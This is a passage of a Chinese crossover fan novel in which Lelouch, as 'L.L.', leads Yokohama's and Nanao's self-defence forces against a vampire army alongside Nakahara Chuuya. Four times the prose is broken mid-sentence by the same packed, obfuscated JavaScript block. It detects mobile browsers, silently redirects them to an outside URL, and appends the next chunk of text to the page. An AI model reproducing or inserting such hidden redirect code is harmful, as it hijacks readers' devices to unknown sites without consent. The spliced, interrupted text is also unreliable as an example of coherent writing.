;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745566|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况下，港口Mafia的成员就算全部填进战线，也扭转不了大局。 既然如此，还不如以自家组织成员都中了异能力无法参战为借口，保留一部分战力。 这也是鲁路修觉得他不适合当首领的根本原因。 说是保留战力，但实际上……只是这家伙珍惜自己的部下罢了。 事实也正如鲁路修所猜想的那样。 中原中也可以接受牺牲，但他不能接受自己的手下被敌人转化，违背自身意愿向曾经的战友举起屠刀。 在鲁路修出现之前，他只能选择给被转化的部下一个痛快，让他们能够迅速解脱，但鲁路修的异能力给了他另一个选择。 “你想多了，指挥官不是你，你是去当复读机的。”中原中也侧身让开路，“走吧。” 鲁路修往床铺的方向一侧头，以眼神询问。 “就你自己，七羽留下来。” * 副本时间进展到接近三分之一，鲁路修终于出了港/黑地图。 他们乘坐的是一辆改装后的军用吉普，破破烂烂的车身满是撞击留下的凹陷。开车的是中原中也，鲁路修坐在副驾驶上，见识到了比菲丽还野蛮的开车方式。 虽然通过一些细节与习惯能看出来中原中也的车技应该很不错，但不巧，可能是因为司机心情不好，也可能就像司机自己说的，他不怎么喜欢车里的唯一一名乘客，总之，中原中也不是在用技术在开车，而是用异能力在开车。 要不是鲁路修姑且也算个合格的KMF驾驶员，他得在这辆不走寻常路的吉普上吐出来。 对此，鲁路修只能说，要是中原中也的目的是通过这种方式让他搞不清楚去目的地的路线，那纯属是中原中也想多了。 摆脱路上的吸血鬼后，他们接连过了好几个部署森严的关卡才进入异能特务科。 接待他们的是中原中也的老熟人坂口安吾。 面对坂口安吾做完自我介绍后，递到面前的右手，鲁路修回了个歉意的微笑，“抱歉，因为异能力的缘故，我不能和七羽之外的人做身体接触。” “嗤。”看热闹的中原中也笑出了声，“算了吧，这家伙可不会上你的当。” 想用“堕落论”探底失败的坂口安吾板着脸收回了手。 港/黑没了一个太宰治，又多了一个L.L.。 难搞。 本来还以为中原中也上位后港/黑的风格会转型，这下可又说不准了。 “中原先生应该已经和你说明了作战计划。”坂口安吾跳过了对中原中也嘲讽的回应，一板一眼的说道，“他会负责你在前线的安全，而你要做的，就是用异能力控制所有的吸血鬼。” “既然你们敢，我是没什么意见。”鲁路修没有对早就猜到的事情提出异议，免费得到大量棋子的好事他当然不会拒绝，“指挥官是谁？” 坂口安吾回应道：“协商后，指挥官由武装侦探社的江户川乱步与异能特务科的绫辻行人共同担任。” 本来指挥官应该由辻村深月来，奈何被异能特务科坑过的中原中也根本不信任她，特别是辻村深月还打着鲁路修的主意。 于是现在的指挥官人选是三方妥协后的结果。 “啊啊啊啊啊，都说了不要替乱步大人擅自决定啊！” 后方的大型仪器后面探出来个脑袋。 江户川乱步烦躁的抓乱了自己的头发，那顶卡其棕的侦探帽也掉到了地上。 “如果是比推理，乱步大人当然是世界第一！”他赌气的鼓起腮帮子，“但推理和战争是两回事！” 和江户川乱步装束差不多的绫辻行人绕到前面来，一边走一边赞同的鼓起掌：“没错，这群家伙总是把这两者混为一谈，他们的要求就好比让一个智商200却只擅长发明创造的科学家去当政客一样离谱。” 坂口安吾嘴唇动了动，求助的目光投向绫辻行人那站在后方的监护人。 辻村深月冲他摇了摇头。 “既然如此，不如把指挥权交给我吧。” 鲁路修上前一步，从坂口安吾的胸前口袋里抽走了对讲机。 “战争的话，我是专业的。” 38.污浊了的忧伤中 “坂口安吾的脸色好差劲哦，连布防图都被L.L.忽悠走了，啧啧。” “放心，没关系的，以前他可是负责和港/黑的太宰治对接的，应该已经习惯了。” “乱步大人不是担心公务员先生的心理健康啦，乱步大人是在想他会不会丢掉工作？” “被辞职不好吗？再说了，就他那个异能力，再加上他那卷生卷死的敬业精神，辻村深月开了自己也不会开了他。你们这从哪找挖出来的人？虽然他说得都是实话，但好歹考虑一下坂口安吾的脸面？他们混职场的，在上司和同事面前需要面子多过于需要脑子。” “安啦，这是帽子君他们家的，本来就是他们的战略布防太低智，不过这也不怪公务员先生，谁让智商这东西是天生的呀？” …… 继承了母亲名讳，也叫辻村深月的辻村深月一脑袋黑线的听着两位侦探的对话。 和绫辻行人搭档许久的辻村深月原本以为像绫辻行人这样任性的家伙并不多见，结果今天两位侦探一碰头，江户川乱步的确不毒舌性格好，还会请她吃点心，但在任性这一方面，两个侦探简直是不相上下。 听听他们说得这都是什么话啊？ 没看到那边坂口前辈冷汗都已经下来了吗？ 偏偏港口Mafia那位重力使就站在L.L.身后，同时面对一文一武两个人，真得是难为坂口前辈了。 看看这边悠闲地茶话毒舌吐槽大会，再看看另一边，在鲁路修一连串询问中节节败退的坂口前辈。 辻村深月突然有点庆幸自己只是个新人，只需要负责绫辻老师一个人就够了。 要是让她去坂口前辈那个岗位，她肯定会搞砸的。 相比而言，看护绫辻老师就轻松多了。 虽然绫辻老师毒舌了一点、情商低了一点、喜欢做弄人了一点，但绫辻老师…… …… “哇，这句话里有坑哦，公务员先生没发现呢。” “问题不大，只有在聪明人手里，大指令才能发挥它应有的作用，蠢货只擅长把事情搞砸。” …… 果然还是不行！ “绫辻老师，这样真得没问题吗？”忍了再忍，辻村深月还是没忍住开口了，“把指挥权让给来历不明的异能力者这种事……” 端着茶正准备喝的绫辻行人闻言分给了辻村深月点目光，“能有什么问题？” 嗯？ 能有什么问题？ 辻村深月深吸一口气，“这可是关系到横滨所有人性命的大事！” 怎么会没有问题！ 大概是今天和乱步聊得很愉快，绫辻行人少见的没有逗弄自己这位老实的搭档小姐。 “交出指挥权当然是存在风险的。”绫辻行人抬手让急着想说什么的辻村深月冷静，“但目前来看，这是当前的最优解。” “我不理解！”辻村深月面色严厉，“明明无论是绫辻老师，还是江户川先生，都可以胜任这个位置不是吗？为什么最优解会是转移指挥权？那家伙……” 因为激动，辻村深月的声音稍稍大了一点点，引得那边站在鲁路修身后的中原中也瞥过来一个视线。 江户川乱步冲他摇摇头，中原中也这才继续专注于鲁路修和坂口安吾之间的交锋。 指着鲁路修的背影，辻村深月继续道：“让那种来历不明的家伙统领军队，操纵所有吸血鬼，这哪里是最优解了？！” 辻村深月是真的在为生活在横滨的人们担忧。 偏偏在场的两个侦探没一个共情她的忧虑。 “解释起来真得好麻烦。”绫辻行人讨厌解释，他唇角下压，有色镜片后的眼睛里习惯性的流露出不耐烦，“你觉得你想到的这些，辻村深月——就是你那个母亲，异能特务科的头，她想不到吗？” 辻村深月咬了咬下唇。 “我说啊，推选我的那一票不会就是辻村你投的吧？” 看辻村深月的表情，绫辻行人知道自己猜对了。 他还是觉得头疼了。 虽然他不怎么讨厌辻村深月，但他也是真得不喜欢解释，因为每一次，他都得从一加一等于二开始，不然只要中间跳过了一点点推理，听众就会露出听不懂的茫然表情。 这就使得沟通的效率极其低下。 “你说得没错，我和江户川的确可以搭档指挥，但是，就像江户川说得那样，我们是侦探，不是战略家。” 辻村深月露出不服气的表情。 “当然我们也可以是超级罪犯，优秀的侦探必定也是犯罪的天才。”和辻村深月搭档久了，绫辻行人已经摸清应该从哪里开始讲解才能让对方理解了，“但是——” 绫辻行人用烟杆敲了敲扶手，“你从根本上就错了，选择指挥官人选的关键点并不在于这里。” “没错，正是因为L.L.来历不明，所以他才比我们更合适哦。”江户川乱步插嘴，“因为啊，如果是他的话，被赋予大指令的概率是——” 乱步抬手，冲辻村深月比了个数字“0”。 辻村深月觉得自己有一点点明白了，但与此同时，她的疑问也更多了。 “啊，这么难理解嘛？”江户川乱步眉心收紧。 旁边的绫辻行人满脸“终于有人懂我的感受了”的表情。 “但是，这也不能改变他有可能是间谍或者卧底……绫辻老师，请您解释清楚啊！”辻村深月说到一半，就注意到绫辻行人扶住了额头。 “辻村，我问你，天人五衰本身就能操纵所有吸血鬼，那他们派来一个拥有操纵系异能力的异能力者跑来卧底，再操纵一遍吸血鬼的意义在哪里？” 绫辻行人诚恳发问。 辻村深月：…… “没有任何意义，L.L.不可能是天人五衰的人，因为没有必要。”绫辻行人说道，“行吧，你肯定又要问，L.L.难道没有来卧底操纵异能特务科乃至军警高层指挥官的可能吗？答案就是，没有可能，因为他在一开始就暴露了自己的异能力。” 辻村深月从头捋了一遍，最后她发觉绫辻行人说得居然是对的。 “我和江户川重现了港口Mafia干部A的死亡现场。”都说了这么多了，绫辻行人索性再多说了一点，“我们认为，异空间并不是魔人的异能力。” “嗯哼，这就是L.L.比我们更合适的第二个原因啦。”江户川乱步点头，“由我们来的话，胜算的确是有的，但想打破魔人的布局，还是釜底抽薪更简单直接。” 他们现在正处在魔人编制的信息茧房里，知道的一切信息都是对方有意无意走漏出来的，而他们领先魔人的只有一点。 七羽在他们这边。 他们需要的不仅仅是胜算这么简单的东西，他们需要的是一场闪电战。 魔人发动的时机恰巧卡在太宰治坠楼之后，这当然有可能只是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753579|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方打算趁虚而入，但乱步和绫辻行人一致认为，这是因为魔人真正的异能力是那种但凡使用，就一定会被发现弱点，有且仅有第一次使用的时候能够出其不意，达到利益最大化的异能力，并且这种能力会被人间失格完全抵消。 简而言之，是某种战术上只能使用一次的能力。 江户川乱步还有一个可以证明魔人异能力并不是异空间的铁证——在他们以此为愿望许愿后，七羽所索取的代价。 尾崎红叶已经试探出来了，七羽所要的代价和愿望的难度是相当的，也就是说，正常情况下，他们想搞清楚魔人的异能力，一定会付出相当惨痛的代价。 可这个证据却并不是能大大方方摆出来的证据，因为异能特务科并不知道七羽的事情，他们的关注焦点被鲁路修的异能力迷惑了。 但…… 江户川乱步看着对面窝在沙发里开始吞云吐雾的绫辻行人。 算了，作为被监管收容的对象，严格来说绫辻行人也不算异能特务科的人。 这位鼎鼎大名的杀人侦探自始至终都对七羽的存在闭口不谈，估计不可能是忘了，只能是绫辻行人不想说。 果然和聪明人联手就是轻松。 明明是在解说，结果江户川乱步说着说着却跑神了。 也不知道帽子君那边进展的怎么样，魏尔伦的现身说法有没有让魔人相信七羽在他们手里。 唔，好想快点回归正常的日常生活。 乱步大人最近这么努力，社长应该会买回来粗点心，再顺便表扬一下的吧？ “……江户川先生？” “啊？” 被叫到名字的乱步下意识应了一声，他这才发现，L.L.居然已经带着中原中也离开了，只留下坂口安吾一脸菜色的仰在转椅上。 “开始了？” “嗯。”绫辻行人磕了磕烟斗里的烟灰，那里面的火光已经燃尽了，“开始了。” * 鲁路修来得时候只有自己和中原中也两个人，走的时候却带走了横滨军警指挥系统的密钥。 这当然不代表他能像指挥黑色骑士团一样对军警如臂使指，但再差劲也不能比他当年在11区起步的时候差劲了。 那时候他还得亲自开KMF上战场，现在最起码他身边跟着一位据说是战力天花板级别的异能力者。 中原中也打着了火，手搭在方向盘上扭头看副驾驶上的鲁路修，“你打算从哪里开始？” “很简单。”鲁路修甚至都没有多加思考，“在防线上给它们开一个口子，等聚集够了一定数量，在我施加异能力后，无非就是将横滨划分成几个独立区域，投入这些入网的棋子，分割包围、机动清剿罢了。” “听上去好像就是很普通的巷战？” “你得知道，战术是为了战略服务的。”鲁路修在地图上一点，“去这里。” 瞄了一眼路线，中原中也踩下油门，“这里有什么特别的吗？” “从战术上来讲没什么特别的。”鲁路修头靠车门，单手撑着侧脸，“但这里的话，比较方便让魔人去找七羽。” “……你果然猜到了？” “啊，这又不难猜，所以让你那位金发的干部抓点紧，争取让魔人这几天就去找七羽许愿。” 鲁路修的发丝被窗外的夜风吹了起来，挡住了眉眼里的傲慢。 “太慢的话，我怕我已经把日本收复了。” 39.污浊了的忧伤中 南田英人是能登半岛七尾市的一名自卫队成员，和自卫队的其他成员一样，他的日常普通的不能再普通，只有枯燥的训练训练再训练。 偶尔——特别少的情况下，在港口那边爆发冲突时，他们会接到匿名报案，这种情况出现时，通常他们都会假装在外执勤，然后晚到那么半小时到一小时，等一切尘埃落定之后再赶到现场。 毕竟在五年前，七尾市的港口就不属于七尾市，而属于横滨的港口Mafia了。 作为一个以交通贸易和旅游开发为主要发展方向的港口小城，这就是他们自卫队的全部日常了。 南田英人对此没什么不满，不如说这种普通的和平，对八年前从中部防区的战斗机部队退役的他来说弥足珍贵。 八年前，他刚刚从军校毕业就赶上大战爆发，席卷全球的战争打没了空军的一半编制，于是他入伍的第一次正式试飞，是直接在战场完成的。 那场试飞后，他得到了一枚二级战功勋章，一只义眼，以及一纸伤残退伍通知书。 他的一腔热血还没来得及宣泄，就被残忍的现实凝结成了无法融化的冻湖。 整整三年，他生活在痛不欲生中，他疯狂的想证明自己的价值，证明那个自幼就志愿报国的自己没有浪费国家的培养，所以他加入了自卫队。 聊胜于无吧。 他这么安慰着自己。 失去飞行员资格的南田英人从没想过自己还有再次踏上战场的一天。 不，准确的说法应该是，他所居住的七尾市成为了新的战场。 吸血鬼之灾爆发得毫无预兆，那些被传染了病毒的家伙见人就咬，病毒以可怕的速度快速扩散，在七尾市的指挥官反应过来封锁全市之前，死亡的阴影就已经笼罩了整个七尾市。 自卫队成了唯一的防线。 如今，风景秀美的旅游区域已经变成了断壁残垣的废墟，地面上到处都是来不及清理的陈旧血液以及嵌在了柏油马路颗粒缝隙中的血肉碎末，漂亮的木质房屋变成了临时搭建的防御工事，钢筋水泥的冰冷金属色成了七尾现今除了暗红血色之外的唯一色调。 他们过得一天比一天绝望。 最开始，南田英人还会安慰和自己同属一队的战友，“政府不会抛弃我们的，肯定会有异能力者过来接手防线的。” 但随着时间的流逝，到访七尾的只有越来越多的吸血鬼，别说那些高贵的异能力者了，他们甚至没有补充的物资与军备。 吸血鬼昼伏夜出的特性让每一个夜晚都变成了恐怖的狩猎场，没有人知道那些破败的混凝土与水泥倒塌后的缝隙中，会不会就有一双血红的眼睛。 随着死人越来越多，他的战友们一个接着一个的疯了。 在南田英人用手榴弹炸碎一只吸血鬼的脑袋，从吸血鬼的獠牙中救下自己的战友后，在那一地的碎块里，他看到了一枚镌刻着名字的戒指。 英人&和美子。 那是他和他未婚妻的婚戒。 南田英人终于崩溃了。 自卫队的士气前所未有的低落，在这个不会有援军也不会有异能力者支援的偏远角落，他们最终的命运就是变成吸血鬼，最后在阳光下慢慢腐烂。 但这一天，他们的命运迎来了转折。 年轻的指挥官站在简陋的高台上，耀眼的冬日高悬在他的身后，南田英人看不清他的表情，只能听到指挥官低沉的嗓音。 “我是你们的新任指挥官，你们可以称呼我为L.L.。” 南田英人的周围满是哗然的交谈声，这帮早就放弃希望，姑且算是活过一天算一天的自卫队成员们都在议论新指挥官的年纪。 他们已经不关心防线会如何了，连前线的防御工事也许久没有人前去维护了。战线一退再退，七尾这个位于地震活跃带的港口小城早就打没了大半的人口，剩下的不是被抛下的幼童老人，就是缺胳膊断腿的伤员。 以及家人全部埋葬在了这里，想在死之前多杀哪怕一只吸血鬼的疯子。 南田英人就是后者。 “我知道你们觉得自己被抛弃了。” 可不就是嘛。 南田英人面无表情的盯着自己脚尖前的那一处地面。 “我知道此时此刻，你们枪口的对面可能就是你们曾经的家人。” “你们可以继续自暴自弃下去。” “但如果你们还想让他们安眠，还想洗清他们身上背负的罪孽，就像个真正的男人一样，重新把你们的枪端起来！” “有的路从开始就注定了死亡，而我们现在正站在这条路上！” “我听到你们有人在嘲笑我的年轻！” “我听到你们有人在嘲笑我的瘦弱！” “但我曾在太阳旗下发过誓！” “如果有一天，长夜将至，我将义无反顾的把活下去的机会留给生者！” “如今，我如约而至！” “我的背后就是我们的国家！我们退无可退！” 南田英人动了动缺了一根小指的右手，死尸一般呆滞的眼珠子转动了一下，他缓缓抬起头重新看向高台。 “拿上你们的枪！让我看看，谁在恐惧！谁在害怕！谁在颤抖！” “如果你在恐惧！在害怕！在颤抖！那你就抬起头来往前看！” “我就站在那里！” “现在！出征！” 熙熙攘攘的人群发出了振聋发聩的呐喊，一双双麻木的眼睛重新亮了起来，南田英人听到了震耳欲聋的怒吼，他后知后觉的发现，这声怒吼竟是从他的喉管中发出的。 他们再次踏上了战场。 南田英人从不知道，他们这支自卫队居然可以这样勇猛。在最残酷的巷战中，靠着仅有的武器，他们硬生生杀出了一条血路。 子弹打完了就用枪杆上焊着的刺刀捅，刺刀卷刃了，就用坚硬的枪托砸，没有武器了就用手指、用牙齿，他们比吸血鬼还要野蛮，比吸血鬼还要疯狂。 在指挥官的带领下，他们用野蛮与疯狂把那些本应腐朽的灾厄勒死在了旧世纪。或许明天这时候他们就会倒在前进的战场上，但至少他们的忠诚会留在历史里，由活着的人带往新的纪元。 开战的第三天，七尾再无吸血鬼的身影。 而他们这只自卫队，也早已不复从前懒散的模样，成了指挥官手中一柄足以刺破黑暗的利刃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769709|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七尾的战争结束了，他们的战争刚刚开始。 “听说了吗？横滨被吸血鬼大军袭击了，据说死伤惨重，不止军警，港口Mafia那帮黑/手/党都被拉去填线了。” 受伤的同伴坐在一只吸血鬼的尸体上，一边往大腿的伤口上裹绷带，一边漫不经心的跟他说。 “我听隼人说，指挥官可能会被调走。” 同伴裹好了伤口，拍拍屁股上粘上的血污。 “我们打算追随指挥官一起，英人你呢？” 这话从自卫队口中说出，已经和叛变无异了，但南田英人却觉得这才是理所应当。 “我的这条命是指挥官的。” 南田英人扛起已经没有子弹的步枪，和同伴一起返回营地。 他们的指挥官在那里，那他们就应该回去那里。 横滨的情况比同伴说得还紧急百倍，他们的指挥官连犹豫都没有，就选择了最快的支援方式。 自卫队还活着的所有人都上了运输机，哪怕他们其中的大部分人都是刚刚才学习如何高空跳伞的。 从七尾飞到横滨只需要短短一个小时，接近横滨的时候，机长小西远远就看见了天空中摇曳的橙黄弹幕。 军警内部属于福地樱痴的旧部叛变了，不仅是横滨的守军，连前来支援的他们都遭到了精准的对空打击。 一枚EMP在他们头顶炸开，强烈的电磁脉冲瘫痪了所有电子设备，飞机的仪表盘失灵，小西把牙龈咬出了血，才将将稳住险些失控的飞机。 旁边负责火力打击的山中食指松开了扳机，一枚装满了化学试剂的专用型化学闪光弹炸在了下方吸血鬼形成的汹涌潮汐之上。 驾驶舱的舱门被手动解锁，小西冷静的声音在猛烈的战火中清晰的传递在机舱中。 “终点站到了，准备出舱。” 话音落下，南田英人身边的舱门打开了。高空的寒流卷了进来，但南田英人却感觉到自己浑身的血液都在沸腾。 八年了，这种感觉已经阔别八年了。 他看了看已经被击毁的飞机右引擎，无声的向小西做了个口型。 【保重。】 【一会儿见。】 七尾市的自卫队义无反顾的从大开的舱门跳了下去，在距离目的地还有一公里的地方。 黑夜中绽开了明亮的花火，他们身后就是坠落的运输机与滚烫的浓烟热浪，每一分钟都有同伴在死亡，部分降落伞没有打开的同伴用生命中的最后几秒抽出了腰间的手雷，把引线绑在了身上，他们已经没有成功降落的可能，但他们可以用自己的血肉给幸存的同伴炸出来一处能够安稳降落的空地。 运输机用自己的机身挡住袭来的防空导弹，小西和山中用自己的生命送了他们最后一公里，这最后一公里的生死竞赛，是他们赢了。 电子云的屏蔽终于被彻底烧穿，南田英人一直“滋滋”作响的耳挂通讯系统恢复了通讯。 “——我们将双脚着地，率先踏入地狱！”* 他听到了指挥官的声音。 “——我与你们同在！” 他发誓誓死效忠的指挥官发出了最终的命令。 “割断伞绳！” 40.污浊了的忧伤中 寒冷的高空之中，明亮的橘色烟火之上，一点代表重力的红色浮起了两个没被雷达系统捕捉到的人类。 中原中也亲耳听到L.L.毫不留情的下达了对七尾自卫队来讲几乎是必死的指令，也亲眼看到那一朵朵在他们下方绽放的花朵在割断连接着生路的绳索后，化作投向吸血鬼海洋的长槊，在大地之上凿出了一处小小的豁口。 那些没有异能力的普通人竟然没有丁点的迟疑与恐惧，他们几乎是在鲁路修发出命令的同一时间，就毫不犹豫的执行了。 “辻村深月要是知道把秘钥交给你后会发生这种事，估计现在肠子都该悔青了。” 看着下方悍不畏死发起冲锋的七尾自卫队，中原中也冷言道。 “我倒觉得，是她赚到了。”鲁路修知道中原中也什么意思，但他又不能直说自己不会留在这个世界，“能让我帮忙打工的人她可是第二个。” 也不知道中原中也有没有听出来他的潜台词，反正身边的人没再说什么。 他们的注意力大半都放在了下方的战场上，虽然鲁路修带着七尾的自卫队第一时间支援到位，但形势其实并不乐观。 或者应该说很糟糕。 毕竟是4000对1000，这4000还是不知疼痛、力大无穷的吸血鬼眷属。 特制闪光弹的效果正在褪去，因为畏光而动作变得迟缓的吸血鬼们重新占据了战场的主动权，如果不是自卫队这三天在鲁路修的带领下已经适应了面对看似无穷无尽的吸血鬼，士气八成已经一泻千里直接溃败了。 但这样下去也坚持不了多久，战败只是时间问题。 “你那边还要多久？”鲁路修没被中原中也抓着的那只手搭上了耳麦，随着“哒哒”的单指敲击，里面的通讯频道已经从七尾自卫队的指挥频道切换成了对军警的总指挥频道。 “……不确定，但福地樱痴已经在十分钟前现身了，目前武装侦探社的异能力者已经抵达作战地点，拦住了福地樱痴。”中原中也的耳麦里一直连着异能特务科的专用频道，他和鲁路修分别对接两边，再在必要的时候互通有无，“魔人还没有动静……等等？” 中原中也的脸色变了，鲁路修少见的从对方脸上看出来了愤怒。 “他们批准了白麒麟入境。”中原中也咬字极重，黑/手/党首领那张能称得上甜美的漂亮面孔上满是嘲讽，“辻村深月真得是不长记性，在这种时候还玩这一套。” “或许你可以抽空给我讲解一下？我目前没工夫去翻异能特务科的资料库。”鲁路修接通了军警指挥部的通讯，他一心二用的一面听中原中也解释白麒麟是谁，一面快速下达着各项指令。 “……没错，我们需要远程火力压制，对吸血鬼大军实现精准打击……我当然知道你们做不到，所以我下达的命令是把弹道计算和修正权限交给我……对，我会代替机器完成对弹道的计算……不，你们不用承担任何责任，但凡有一枚导弹炸在人类身上，我很愿意见识一下你们的军事法庭……很好，权限确认收取。” “……所以他们让白麒麟入境，并非像他们说的那样，是应对福地樱痴的保险，更是在见识到你对自卫队的掌控力与指挥能力后，想在关键时刻对你进行制衡。”中原中也讲解完了白麒麟曾经在横滨干过的事儿，这才注意到鲁路修对军警指挥中心所说的话，“你要自己测算弹道？这里可没有大型超算？” 中原中也眼看着鲁路修不假思索的报出了一连串数字，“……等等，你是心算？！” 哪怕这三天他已经被鲁路修打破了不少次既有印象，现下还是被震惊到了。 最开始，他对鲁路修的定位是满口谎言的骗子，当然，这里面有一部分原因是鲁路修控制了他的部下，而中原中也讨厌被威胁。 后来这家伙又用自己“弟弟”为筹码，把他们忽悠的团团转，就算知道了对方在用他们实验七羽的异能力，也只能硬着头皮继续实验下去。 如果不是江户川和辻村深月都说他的异能力很有用……呵。 中原中也对鲁路修的改观是从三天前开始的。 起先，他真的认为鲁路修所说的“专业”只是篡夺指挥权、筹集筹码的借口，直到那次演讲，直到鲁路修亲自踏上战场。 这三天里，鲁路修一次都没有向他开口，哪怕重力使中原中也的投入可以直接对战场产生压制性的统治力。 “他们需要的不是高贵的异能力者的拯救，他们需要的是真正的希望。” 能靠自己手中的武器打出一个黎明的希望。 这是鲁路修对他说的原话。 所以中原中也安安静静的旁观了三天。 没有人比他更能理解七尾的自卫队了，在中原中也看来，只要给鲁路修时间，整个日本都会向他献上忠诚。 虽然不甘心，但他承认，对方的确有这种人格魅力，也有与之相匹配的手腕。 直到这一刻，中原中也才发觉，鲁路修和太宰治完全不一样，他们一点也不像。 这种区别产生的原因并不是智商这种先天性的东西，更像是身份与地位所决定的。 鲁路修对战争表现出来的统治力与战术素养，是靠着无数的积累浇灌出来的，如果他的座下有一把王座，那铸就这把王座的一定是数不尽的断剑与骸骨。 要不是中原中也确定历史上没有与L.L.表现出来的特质相匹配的天皇，他都要以为对方曾经真得登上过那个万人之上的位子。 可哪怕中原中也对鲁路修的看法改观了，也还是为对方此时的狂妄感到惊讶。 “比起你们那落后的机器，我更相信我的大脑。”鲁路修平静道，“放心，远程压制和精准打击这一套我很熟悉。” 蜃气楼和高文的驾驶员以一种稀松平常的口吻，把自己经历过的大大小小所有战役都概括成了一句保证。 随着他的话音落下，漫天火雨划破了漆黑的天幕从天而降，在天空被点亮的同时，炸开的浓烟与火光衔接在了一起，在天空与大地之间形成了一幅黑与红的混沌绘卷。 硝烟的呛鼻味道盖过了血肉烧焦的焦糊味，可等浓烟散去，中原中也震惊的发现，居然真得没有一枚弹片击中下方浴血奋战的人类。 要知道刚才那波远程打击的规模可不是过家家，军警可是投入了所有的远程火力。 但在鲁路修的协调之下，每一门炮的性能都被压榨到了极限，只有这样才能解释为什么鲁路修用同样的炮弹，让火力网在效率不变的前提下，打出了几近一倍的覆盖面。 因为自身的强大，通常都依靠异能力解决问题的重力使第一次的，对鲁路修表现出来的战争的艺术产生了极大的好奇。 鲁路修让他看到了人类的另一种可能性。 “别愣着，魔人那边怎么样了？” “……魔人的坐标一直都没有移动。”中原中也回神，他瞥了一眼定位器上显示的坐标，在进行确认后拧着眉头沉思。 难道是他的判断失误了？ 和太宰那家伙比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781865|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，他在计谋方面的确是有所欠缺，但没道理经过江户川乱步、绫辻行人以及L.L.三个人统一认证的方案会出现这么大的纰漏吧？ ……还是说，对于“书”，魔人知道一些他们都不知道的线索？ 所以才导致了魔人对七羽的无视？ 中原中也想到了最坏的可能性。 可要是说魔人对七羽的态度是无视，那为什么还搞出来现在这个大场面？ 居高临下的中原中也俯视着下方的战场。 这个数量……天人五衰应该是一次性投入了所有现存的吸血鬼眷属才对。 大本营就在横滨的中原中也很清楚横滨的人口数量，下面来袭的吸血鬼明显已经超出了理论值太多太多。 “如果不是你们的定位装置被魔人发现了，那就只剩下一个可能性了。”鲁路修压根没怀疑他的推算有失误的可能，“他之所以还没行动，和他真正的异能力有关。” “把你们近期所做的所有事情给我复述一遍。”鲁路修意识到自己绝对是忽略了什么。 形式紧迫，战机不等人，中原中也语速飞快，但条理却很清晰，“我让魏尔伦假装是被七羽以愿望复活的，借口说要带走我向魔人寻求合作，为了确保魔人能够相信，我让他透露了部分七羽的真实信息，比如需要完成三次强求才能真正实现愿望。” 他们和魔人之间的博弈围绕着“书”，或者说是围绕着“七羽”。 中原中也想营造的假象是他们会拼尽全力保护七羽，不让魔人有得到七羽的机会，但实际上，他们的真正目的和魔人的目标是一致的。 魔人想要向“书”许愿。 他们想要魔人向七羽许愿。 “L.L.所认识的七羽，是只有在实现愿望的时候才会出现的那个七羽。” ——江户川乱步曾在付出代价醒来后这么说。 “他主动提出了让我们改变思路，让魔人去向七羽许愿，乱步大人觉得他已经说得不能再明显了？” 失血过多的名侦探靠在床上，血袋里的血液顺着输液管流进他发冷的身体。 “乱步大人认为，助人为乐是一项传统美德，大家都能实现自己的目标，大家都有光明的未来哦！” 江户川乱步坏心眼的“嘿嘿”一笑，满怀期待的样子看上去像一只即将得到心爱猫条的猫咪。 ——那时的对话在中原中也脑海中快速闪过，同时他听到自己的声音在继续向L.L.和盘托出他们的全部计划。 “……在福地樱痴离开、魔人被白麒麟吸引了注意力后，魏尔伦找机会接触到了吸血鬼的源头——布拉姆。” 中原中也尽量用简短的语言概括了福地樱痴对布拉姆的利用，说明白了吸血鬼眷属其实是被刺穿了布拉姆的圣剑所掌控的。 “他把封印布拉姆的棺材带了回来，目前应该已经快到港/黑了，如果计划失败，我们会使用圣剑发起反攻。” “你是说，他带回来了吸血鬼之灾的源头？被圣剑所封印的布拉姆？” “对……” “既然如此，把那只吸血鬼放在七羽隔壁的房间吧。” “……哈？”中原中也还以为自己听错了，他看向鲁路修，结果对方却点了点头再次肯定了这个说法。 “省得他还得花时间确定七羽的位置。” “……你确定？” 